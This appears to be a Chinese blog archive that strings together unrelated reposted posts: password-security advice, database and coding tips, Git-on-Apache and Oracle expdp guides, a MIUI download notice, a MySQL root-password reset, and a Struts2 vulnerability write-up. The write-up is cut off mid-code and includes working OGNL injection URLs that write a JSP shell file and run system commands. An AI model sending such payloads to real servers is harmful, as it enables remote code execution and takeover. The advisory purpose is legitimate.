密码问题现在紧急问题,当CSDN的密码被曝光以后,数据文件里面我也很容易的找到了我的密码。选择一个安全策略很重要!转一篇很有指导的文章。个人密码安全策略 我们现在处于网络时代,时常要登录各种网站、论坛、邮箱、网上银行等等,这些访问常需要帐户+密码的身份认证,因此我们不断地注册用户,就有了数不清的网络帐户和密码。大多数人为了便于记忆,习惯只用一个常用的网络用户名、邮箱和密码,这是非常危险的。那么,网上的密码我们应该怎么设置,才能相对安全一些呢? 总的来说,个人密码安全需要遵循如下几个简单的要求:对于不同的网络系统使用不同的密码,对于重要的系统使用更为安全的密码。绝对不要所有系统使用同一个密码。对于那些偶尔登录的论坛,可以设置简单的密码;对于重要的信息、电子邮件、网上银行之类,必需设置为复杂的密码。永远也不要把论坛、电子邮箱和银行账户设置成同一个密码。具体的设置策略如下:一、将自己常用的网站分类:大网站、小网站、重要网站、普通网站1、大网站 大网站为可以信任的、安全的网站,例如用户为数亿的几个门户网站(腾讯、谷歌等),这类网站理论上安全性较好,常规情况下用户密码不易泄漏,并且都会提供绑定手机号功能,这类网站应该不超过十个。2、小网站 大网站之外的网站都算小网站,是不可信任的网站,在上面保存的密码随时可能泄漏,并且可能是密码明文泄漏。3、重要网站 涉及到网络使用的核心网站,例如主要的电子邮件、网银、网上支付、域名管理等,这类网站如果被黑客攻破,则会引起个人资产损失或者相关其他网站服务被攻击,损失巨大。4、普通网站 重要网站之外的网站。二、将自己的常用密码分类:弱密码、中密码、强密码1、弱密码 最容易记忆的,且默认是可以丢失的密码。 各类中小网站、论坛、社区、个人网站等使用。 原因:这些网站的安全性可能都不太好,有些只是将密码MD5一下存储,有些可能还会明文存储密码。黑客很容易从这些网站盗窃用户的密码。2、中密码 中等强度密码,8个字符以上,有一定抗穷举能力的。 中等密码主要在国内门户网站、大型网站、门户微博、社交网站等使用,但不要在主要邮箱里使用。门户网站最好绑定手机号码。 原因:大网站的安全性较好,通常被破解的可能性低,在大网站使用的密码要强度可以稍强。 需要注意的是,有些门户网站(例如新浪、搜狐等)即提供微博,又提供邮件系统,如果系统默认建立了这些邮箱,那建议不要在任何地方使用这些邮箱,如果要使用邮箱,最好确认该邮箱具有独立密码功能。 其中有一个例外是腾讯邮箱,腾讯邮箱支持邮箱的单独密码,设置好了以后,用户需要输入QQ密码和邮箱密码两个之后才能使用。 所有游戏帐号使用单独的密码。3、强密码 强密码要求至少8个字符以上,不包含用户名、真实姓名或公司名称,不包含完整的单词,包含字母、数字、特殊符号在内。 强密码主要用于邮箱、网银、支付系统等。 这类网站是最核心最重要的网站,网银涉及到用户的财产安全,邮箱则可以重置用户所有注册过的网站密码,因此这类网站一定要用强密码,保证其绝对安全性。 密码穷举对于简单的长度较少的密码非常有效,但是如果网络用户把密码设的较长一些而且没有明显规律特征(如用一些特殊字符和数字字母组合),那么穷举破解工具的破解过程就变得非常困难,破解者往往会对长时间的穷举失去耐性。通常认为,密码长度应该大于8位,密码中最好包含字母数字和符号,不要使用纯数字的密码,不要使用常用英文单词的组合,不要使用自己的姓名做密码,不要使用生日做密码。三、电子邮件使用规范1、邮箱类型 个人邮箱并非越多越好,只要两个个人邮箱即可(工作邮箱除外),关闭那些没用的邮箱,或者清除其内的所有内容,不在任何地方使用这个邮箱。 邮箱分为两个类型,主要邮箱和次要邮箱,重要服务用主要邮箱来申请,一般服务用次要邮箱来申请。 主要邮箱建议使用Gmail建立,绑定用户的手机,并设置二步验证的手机动态密码,目前世界上只有Gmail信箱支持手机动态密码,增加手机动态密码之后,黑客即使重置了用户的Gmail密码,依旧无法登录该帐号,除非用户手机同时也被盗。有了动态密码,一旦用户信箱被攻击,用户有足够的时间通过手机修复密码。 Gmail的辅助邮箱可以不使用,或者用一个可以,辅助邮箱的安全性一定要高,不容易被攻破。 对于Gmail的访问还有一点,就是不要用Hosts来访问Gmail,不要把www.google.com放入到Hosts文件中,否则将对Gmail的安全性产生极大的威胁。2、动态密码设置 对于经常受到攻击的Gmail用户,强烈推荐使用Gmail的“两步验证”功能,具体方法是,先登录Gmail,然后访问这个地址,之后根据提示安装一个iPhone或Android应用,即可实现动态口令,极大增强了Gmail的安全性。 Gmail的“两步验证”支持iPhone和Android手机,实际上属于动态密码的一种类型。动态密码(Dynamic Password)也称一次性密码,它指用户的密码按照时间或使用次数不断动态变化,每个密码只使用一次。由于每次使用的密码必须由动态令牌来产生,而用户每次使用的密码都不相同,因此黑客很难计算出下一次出现的动态密码。不过动态密码对手机要求较高,需要iPhone或Android这样的智能手机。 除了Gmail邮箱之外,腾讯QQ邮箱也是国内使用较为广泛的邮箱,使用腾讯QQ邮箱时需要注意,一定要设置双密码(邮箱单独密码),如有需要则打开腾讯的QQ手机令牌,QQ手机令牌是腾讯公司的一款QQ安全软件,通过验证30秒动态密码来保护QQ帐号、Q币Q点和游戏装备等,不过目前QQ邮箱还不支持手机令牌方式登录。 很多人觉得动态密码不方便,不愿意使用,这是不对的。方便性固然是好的,安全性是更重要的,重视用户密码的管理,虽然增加了一点点不便,但是你可能将会因此避免极大损失。3、邮箱密码 邮箱的密码绝对不要和其他任何网站的密码相同,要使用8位以上的强密码。 邮箱是密码管理中的核心和关键,通过邮件重置密码功能,可以获得用户大部分网站的密码,因此一旦邮箱密码被黑,会导致用户全部密码体系失控,Gmail动态密码虽然看起来麻烦一些,其实也并非每次都输入,在单台电脑可以三十天再输入一次。QQ的手机令牌也可以设置各种方法来减少输入动态密码的次数。 在邮箱使用过程中要注意,使用主要信箱和次要邮箱注册不同的网站,重要服务用主要邮箱来申请,一般服务用次要邮箱来申请。大网站用复杂的密码,小网站和论坛使用简单的密码。如果注册的网站被盗,需要尽快通过电子邮件进行重置密码。 对于那些小网站,在里面设置密码只能当没有,因为我们不知道这些网站是怎么保存密码的,其网站也随时可能被黑,因此只能保证注册邮件不被黑,可以用其重置密码。4、“找回密码”设置 “找回密码”是一个关键的邮箱安全设置,很多黑客破解邮箱是通过“找回密码”进行破解的,因此如何设置“找回密码”的安全问题是一个很重要的环节。 什么是“找回密码”中不安全的问题,主要有“你的生日?”(你会在其他社交网站录入自己的生日);“你的姓名?”(熟悉你的人都知道你的姓名);“你的出生地?”(通过身份证号码可以算出你的出生地);“你的手机号码?”(太多的地方容易泄漏你的手机号码);等等。 这样,通过一些毫无技术含量的操作,别人就很可能重置你的邮箱密码。 所以,“找回密码”应该设置为一个只有你自己知道答案的问题,自己不会轻易告诉他人,别人通过正常方法很难知道,例如“你中学时候暗恋的人叫什么”、“你初三时的同桌叫什么”、“你小学时最好的朋友叫什么”、“你第一个初恋情人叫什么”等等,这些问题通常别人很难猜到。 归纳:1、核心邮箱可选用Gmail,启用其两步认证,因此密码被盗黑客也进不去,除非手机同时也被盗。2、用这个信箱注册其他网站,用不同的密码,大网站用复杂的密码,小网站和论坛使用简单的密码。3、邮箱使用单独的复杂密码,不要和其他网站密码相同。四、网银使用规范 尽量少开通网上银行,如有必要,则开通那些口碑较好,较少发生过安全事故的网银,例如招商银行的网银。开通网银后使用数字证书,最好申请USB Key,USB Key使用了双钥加密,私钥安全地保存在Key中,在网络应用的环境下,可以更安全,弥补了动态密码锁单钥加密的一些缺陷。由于用户私钥保存在USB Key密码锁中,理论上使用任何方式都无法读取,因此保证了用户认证的安全性。除非黑客获取到用户USB Key的物理硬件,否则很难攻破用户的网银。 银行取款密码不要和任何其他密码相同。网上银行密码不要和取款密码相同,也不和其他网站密码相同。 对于支付宝来说,一定要安装数字证书,支付密码和登录密码不要一样,把支付宝帐户认定为实名,同时开通手机、邮箱绑定,如果还想更安全一点再申请个支付盾。 归纳:少开通网上银行,网银申请USB Key配合使用。支付密码和登录密码不同。银行、网银、主要电子邮件的密码安全最为重要,需要重点保护。网银使用单独的复杂密码,不要和邮箱及其他网站相同。五、总结 密码是个人网络信息安全的钥匙。在网络非常发达的今天,网上木马病毒横行,我们应该好好设计一下密码安全,才能保障网上银行安全、网上信息安全、网上交易安全,遵循上面介绍的个人密码安全策略,可以较为有效地提高用户个人密码的安全性,防止自己的个人信息遭受威胁和攻击。原文网址:http://www.williamlong.info/archives/2937.html
导语:数据库设计是整个程序的重点之一,为了支持相关程序运行,最佳的数据库设计往往不可能一蹴而就,只能反复探寻并逐步求精,这是一个复杂的过程,也是规划和结构化数据库中的数据对象以及这些数据对象之间关系的过程。下面给出了20个数据库设计最佳实践,当然,所谓最佳,还是要看它是否适合你的程序。一起来了解了解吧。1. 使用明确、统一的标明和列名,例如 School, SchoolCourse, CourceID。2. 数据表名使用单数而不是复数,例如 StudentCourse,而不是StudentCourses。3. 数据表名不要使用空格。4. 数据表名不要使用不必要的前缀或者后缀,例如使用School,而不是TblSchool,或者SchoolTable等等。5. 数据库中的密码要加密,到应用中再解密。 (其实就是散列存储、单向加密)6. 使用整数作为ID字段,也许现在没有这个必要,但是将来需要,例如关联表,索引等等。7. 使用整数字段做索引,否则会带来很大的性能问题 。8. 使用 bit 作为布尔字段,使用整数或者varcha是浪费。同时,这类字段应该以“Is”开头。9. 要经过认证才能访问数据库,不要给每一个用户管理员权限。10. 尽量避免使用“select *”,而使用“select [required_column_list]”以获得更好的性能。11. 假如程序代码比较复杂,使用ORM框架,例如hibernate,iBatis。ORM框架的性能问题可以通过详细的配置去解决。12. 分割不常使用的数据表到不同的物理存储以获得更好的性能。13. 对于关键数据库,使用安全备份系统,例如集群,同步等等。14. 使用外键,非空等限制来保证数据的完整性,不要把所有的东西都扔给程序。15. 缺乏数据库文档是致命的。你应该为你的数据库设计写文档,包括触发器、存储过程和其他脚本。16. 对于经常使用的查询和大型数据表,要使用索引。数据分析工具可以帮助你决定如何建立索引。17. 数据库服务器和网页服务器应该放在不同的机器上。这回提高安全性,并减轻CPU压力。18. Image和blob字段不应该定义在常用的数据表中,否则会影响性能。19. 范式(Normalization)要按照要求使用以提高性能。Normalization做的不够会导致数据冗余,而过度Normalization 会导致太多的join和数据表,这两种情况都会影响性能。20. 多花点时间在数据库设计上,否则你将来会付出加倍的时间来偿还。来源:http://www.cnblogs.com/gaolonglong/archive/2012/02/07/2341004.html
总结起来还是要有规范,规范到习惯。 代码易于维护,分为两个方面:容易阅读理解;容易修改扩展。一、如何写出容易被阅读和理解的代码1. 最根本的一条,要向写文章学习,有目录,有大纲,有标题,有段落,有适当的提示。1.1. 首先是目录结构,这个在一些比较好的实践中,有约定俗成,比如Rails应用,app目录下一定分controllers、models、views、helpers四个目录。再加上config、lib、vender,大致的代码在哪个位置,不用猜都知道。越是常见的项目类型,越是应该按照约定俗成来构建项目的目录结构,不要别出新裁。对于没有业内参考的项目,目录结构也尽可能采用简单、易懂、含义固定明确的单词,比如:core、config、test这样的命名。1.2. 包名与文件名,在这方面,java语言的规范非常值得其他语言参考和借鉴,分层组织,合理命名。是最重要的。1.3.一个源代码文件里,要不要有注释?我认为,尽可能不要,还是要像写文章一样,让人阅读起来,有感觉。比如:文件名,类名,方法/函数名。如果将所有的实际代码全部折叠起来,顺序的阅读这些名字,能不能让阅读者,对于这一个源文件的内容和目的,有大概的了解?再强调一次顺序阅读,一个 源程序文件内有很多个函数/方法,这些方法的排列次序,是有意义的。仅仅依靠调整次序,比如:构造函数,扩展构造函数,简单的读写函数,业务相关的函数。以这样的次序来排列,会更加便于阅读。在必须写注释的地方,也不要写得太多,言简意赅,把要点用1.2.3.讲清楚。1.4. 变量名,常数名,我们必须一再一再的强调命名的重要性,可以说,命名是软件开发中,头等重要的大事。要简洁、清晰、全英文(决定不要汉语拼音、任意缩写)、尽可能不要夹杂数字,比如var1、var2这样的变量名,就是最糟糕的。2. readme在项目开发的过程中,定期整理一份readme,放在项目的根目录,主要包含两部分内容:我们的代码做了些什么?如何查找我们写的代码。3. wiki团队开发,尽可能维护一份wiki,自己架一个mediawiki或者其他wiki,都是很简单的。或者自己架一个redmine这样的集成项目管理工具,该有的就都有了。wiki的管理维护是一个很大的话题,这里就不再展开了。4. 单元测试@李楠 和@KevinWei 已经提到了。 这个办法,既方便阅读理解代码,也方便修改代码。非常重要。5. Code Review@KevinWei 也已经提到了。二、如何写出容易被改写和扩展的代码1. 单元测试,最好全过程采用TDD(测试驱动开发)这样才能让人有信心修改你的代码。2. 参考业内成熟实践与设计模式这个事情,要多讲一句,千万不能过头。为了追求可扩展性,可重用性,甚至仅仅是为了玩弄设计模式,会让一个项目成为过度设计的牺牲品,千万不能过头。3. 定期重构一上来就向设计模式靠拢是很危险的,重构时以设计模式为参考会好一些。但是,大多时候,我们没时间重构。。。所以,还是TDD最实在,按照TDD的工作模式,你的项目几乎每天都有大大小小的重构。4. 结对编程这个@李楠 已经提到了。让知识在团队中不只是一个人掌握,很重要。大概就是这些吧。。。来源:http://www.zhuangbiaowei.com/blog/?p=449
git服务器最大的特点是分布式版本控制,而且更为强大的是合并功能,这点也是常用的。就抛弃svn了。在windows上面搭建svn很容易,下次再说。在windows上面搭建git版本服务器,常用msysGit +Cygwin来搭建,曾经用此种方法搭建过一次,繁琐的很,这次用git+apache来搭建,搭建很容易的。准备软件msysgit http://code.google.com/p/msysgit/downloads/listapache serverhttp://httpd.apache.org/download.cgi 下载包含OpenSSL的版本tortoisegit http://code.google.com/p/tortoisegit/downloads/list 和tortoisesvn一样的客户端工具,操作方便,推荐使用操作步骤1.安装msysGit 我安装在D:serverGit 注:图中请选择Run git from the Windows Command prompt 2.复制dll文件 在git中的D:serverGitlibexecgit-coregit-http-backend.exe是用来处理HTTP 请求的,直接运行会出现错误。 缺少libiconv-2.dll,libiconv-2.dll位于D:serverGitbinlibiconv-2.dll,将D:serverGitbinlibiconv-2.dll复制到D:serverGitlibexecgit-core,再次运行git-http-backend.exe就不会出现错误。 git分就算是完成了。3.安装apache服务器 我安装在D:serverApache2.2,正常完成后,apache会自动启动,并且占用80端口,打开浏览器,进入http://localhost ,如果出现“It works!”,就说明apache服务器安装成功了。4.配置用户帐号 使用命令提示符进入D:serverApache2.2bin目录,输入命令:htpasswd -cmb htpassword dapeng dapeng 执行成功后,就会在当前目录下生成htpassword 文件,内容如下,用户名 :dapeng 密码:dapeng,密码是加密过的。dapeng:$apr1$uF7Kv.a9$iHcUdyOeGA7GnWWWjkd3T/ 复制htpassword到D:GitRepos,D:GitRepos是作为版本库的地方。5.配置Apache服务器 进入D:serverApache2.2conf,用文本编辑器打开httpd.conf,找到 <directory />,修改如下:<directory />Options FollowSymLinksAllowOverride NoneOrder deny,allowAllow from all</directory>然后在 httpd.conf 文件末尾追加:# Set this to the root folder containing your Git repositories.# 指定 Git 版本库的位置SetEnv GIT_PROJECT_ROOT C:/workspace# Set this to export all projects by default (by default,# git will only publish those repositories that contain a# file named “git-daemon-export-ok”# 该目录下的所有版本库都可以透过 HTTP(S) 的方式存取SetEnv GIT_HTTP_EXPORT_ALL# Route specific URLS matching this regular expression to the git http server.# 令 Apache 把 Git 相关 URL 导向给 Git 的 http 处理程序ScriptAliasMatch"(?x)^/(.*/(HEAD |info/refs |objects/(info/[^/]+ |[0-9a-f]{2}/[0-9a-f]{38} |pack/pack-[0-9a-f]{40}.(pack|idx)) |git-(upload|receive)-pack))$""D:/server/Git/libexec/git-core/git-http-backend.exe/$1"<Location />AuthType BasicAuthName "GIT Repository"AuthUserFile "D:/GitRepos/htpasswd"Require valid-user</Location>上面修改内容中,第一个指令设置 Git 的版本库位置;第二个指令表示,该目录下的所有版本库都可以通过 HTTP(S) 的方式存取;第三个指令则是让 Apache 把 Git 相关 URL 导向给 Git 的 HTTP 处理程序,也就是我们前面提到的 git-http-backend.exe。最后的 <Location /> 区段设定了虚拟根路径 "/" 的验证规则;D:/GitRepos/htpasswd 是账号密码文件,该文件可以在任何位置,也可以使任何名字,只要在这里指定即可。在httpd.conf大概46行,配置Apache的端口,默认是80,我修改为801完成上述修改之后,重启 Apache 服务。如果你希望将来透过远端存取版本库时,一律使用 http://my-server/git/* 开头的 URL,则可将 ScriptAliasMatch 指令改为 "(?x)^/git/(.*/(HEAD | ……." 6.初始化版本库…
工作中需要进行数据迁移,使用expdp做的,做个记录。expdp是oracle10g中提出来的,比exp的速度高的不是一般,这个是体验过的。和DBA在做数据迁移的时候,开始用的exp,超过半个小时后,我们就忍受不了了,太慢了,就改成了expdb,4分钟,8个G,速度不错吧!看下我们使用 脚本 1: expdp dbusername/dbpassword dumpfile=dmpfilename.dmpdirectory=DMPDIRECTORY tables=tablename:partname exclude=index; 分析一下 expdp 导出命令 dbusername/dbpassword 数据库用户名和密码(注:要有执行expdp命令的权利) dumpfile=dmpfilename.dmp 导出的数据文件 logfile=dmpfilelog.log 导出时的日志文件 directory=DMPDIRECTORY 数据文件的保存位置(需要提前创建) tables=tablename:partname 按表分区导出,tablename是表名,partname是分区名 exclude=index 不导出索引详细介绍下expdp1. 执行expdp之前必须创建directory对象,并且分配权限,如: connect system/admin createor replace directory expdir as'e:dmpfile'; grantread,writeon directory expdir topublic;2. 常见用法:(我这里直接用命令行的方式,还有使用配置文件的方式)2.1 导出scott整个schema expdp system/admin@dapengdb DIRECTORY=expdir DUMPFILE=scott_full.dmp LOGFILE=scott_full.log SCHEMAS=SCOTT配置文件的方式 expdp system/admin@dapengdb parfile=c:exp.par exp.par内容: DIRECTORY=expdir DUMPFILE=scott_full.dmp LOGFILE=scott_full.log SCHEMAS=SCOTT2.2 导出scott下的dept,emp表 expdp scott/tiger@dapengdb DIRECTORY=expdir DUMPFILE=scott.dmp LOGFILE=scott.log TABLES=DEPT,EMP2.4 导出scott下的存储过程 expdp scott/tiger@bright DIRECTORY=expdir DUMPFILE=scott.dmp LOGFILE=scott.log INCLUDE=PROCEDURE2.5 导出scott下以’E’开头的表expdp scott/tiger@bright DIRECTORY=expdir DUMPFILE=scott.dmp LOGFILE=scott.log INCLUDE=TABLE:"LIKE'E%'" –可以改成 NOTLIKE,就导出不以E开头的表2.6 带QUERY导出expdp scott/tiger@bright DIRECTORY=expdir DUMPFILE=scott.dmp LOGFILE=scott.log TABLES=EMP,DEPT QUERY=EMP:"where empno >=8000″ QUERY=DEPT:"where deptno >=10 and deptno <=40″注:处理这样带查询的多表导出,如果多表之间有外健关联,可能需要注意查询条件所筛选的数据是否符合这样的外健约束,比如:EMP中有一栏位是deptno,是关联dept中的主键,如果”where empno >=8000″中得出的deptno=50的话,那么,你的dept的条件”where deptno >=10 and deptno <=40″就不包含deptno=50的数据,那么在导入的时候就会出现错误! 摘抄网址:[http://www.dbifan.com/200802/common-usage-of-expdp.html](http://www.dbifan.com/200802/common-usage-of-expdp.html "http://www.dbifan.com/200802/common-usage-of-expdp.html")原文采用配置文件的方式。
发布一个小米MIUI的2.3.5K1,2.3.5L的版本2.3.5L是个稳定版本,目前还是内测版本,推荐刷新更新日志【系统】新增用户反馈功能(02-04)修复Recovery模式下先清空所有数据再更新系统分区失败的问题(02-04)【电话】新增双MIC降噪开发(02-04)【桌面】修复删除应用不成功时提示(02-04)注:刷新请先升级至2.3.5K1,再从2.3.5K1升级到2.3.5L 2.3.5L:http://bigota.d.miui.com/2.3.5l/ ... 2.3.5l-g0m8zj53.zip2.3.5K1:http://bigota.d.miui.com/2.3.5k1/miui_Mioneplus_2.3.5k1_xyl3729el9_2.3.zip
20个自然界令人叹为观止的奇景,如此奇景,只能以鬼斧神工来说了啊!原网址:http://travel.cn.yahoo.com/t/newspic/travel/11277/
年过完了,新一年又开始喽!吼吼!同事的mysql忘记了root密码,我也整理测试了下,此方法可以行的通的。环境是windows,linux下面应该也可以的,就是执行mysql命令而已。1.结束mysql的服务net stop mysql5_pn2.打开dos窗口,切换到mysql的bin目录下cd D:serverPHPnow-1.5.6MySQL-5.0.90binmysqld-nt –skip-grant-tables注释:该命令通过跳过权限安全检查,开启mysql服务,这样连接mysql时,可以不用输入用户密码。此时这个dos窗口会静止了,不管,就是开启了mysql的服务。3.继续重新打开一个新的dos窗口,切换到mysql的bin目录下cd D:serverPHPnow-1.5.6MySQL-5.0.90binmysql这样就进入mysql了,继续。use mysql选择切换到mysql的数据库,继续。update user set password=password(‘123456as’) where user=’root’;修改root的密码为123456as,继续。flush privileges;刷新权限,继续。quit退出,就结束了,可以把所有的dos关闭了。4.启动mysql服务,登录net start mysql5_pn启动mysql服务mysql –u root –p进入mysql数据库,输入密码123456as就完毕了,如果还没有成功,就要看下你的人品了!关键的命令都用红色标记出来了,跟着操作就可以了。
刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt还是热乎的,我大概白话一下。这个漏洞的级别很高,都升级修补一下。影响版本是2.3.1和2.3.1之前的版本解决办法是升级2.3.1.1漏洞原理(自己理解的)Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。例如处理请求配置这样<action name="Test" class="example.Test"> <result name="input">test.jsp</result></action>通过ONGL就可以转换成/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’oh!god!系统权限就有了,想干什么,就可以干什么了。或者这样/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’想执行什么就可以执行什么了。比如 rm –rf /root..我根据说明做了一下测试jdk:1.6struts:2.2.1代码如下:struts.xml 1:<?xmlversion="1.0"encoding="UTF-8" ?> 2:<!DOCTYPEstrutsPUBLIC 3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4:"http://struts.apache.org/dtds/struts-2.0.dtd"> 5:<struts> 6:<packagename="default"namespace="/"extends="struts-default"> 7:<actionname="test"class="me.dapeng.action.Test"> 8:<resultname="input">test.jsp</result> 9:</action> 10:</package> 11:</struts>Test.java 1:package me.dapeng.action; 2: 3:import com.opensymphony.xwork2.ActionSupport; 4: 5:/** 6: * 7: * @ClassName:Test.java.java 8: * @ClassDescription:测试Struts2漏洞 9: * @Author:dapeng 10: * @CreatTime:2012-1-9 下午1:45:36 11: * 12: */ 13:publicclass Test extends ActionSupport { 14:long id; 15: 16: @Override 17:public String execute() throws Exception { 18: System.out.println("execute input"); 19:return"input"; 20: } 21: 22:publiclong getId() { 23:return id; 24: } 25: 26:publicvoid setId(long id) { 27:this.id = id; 28:…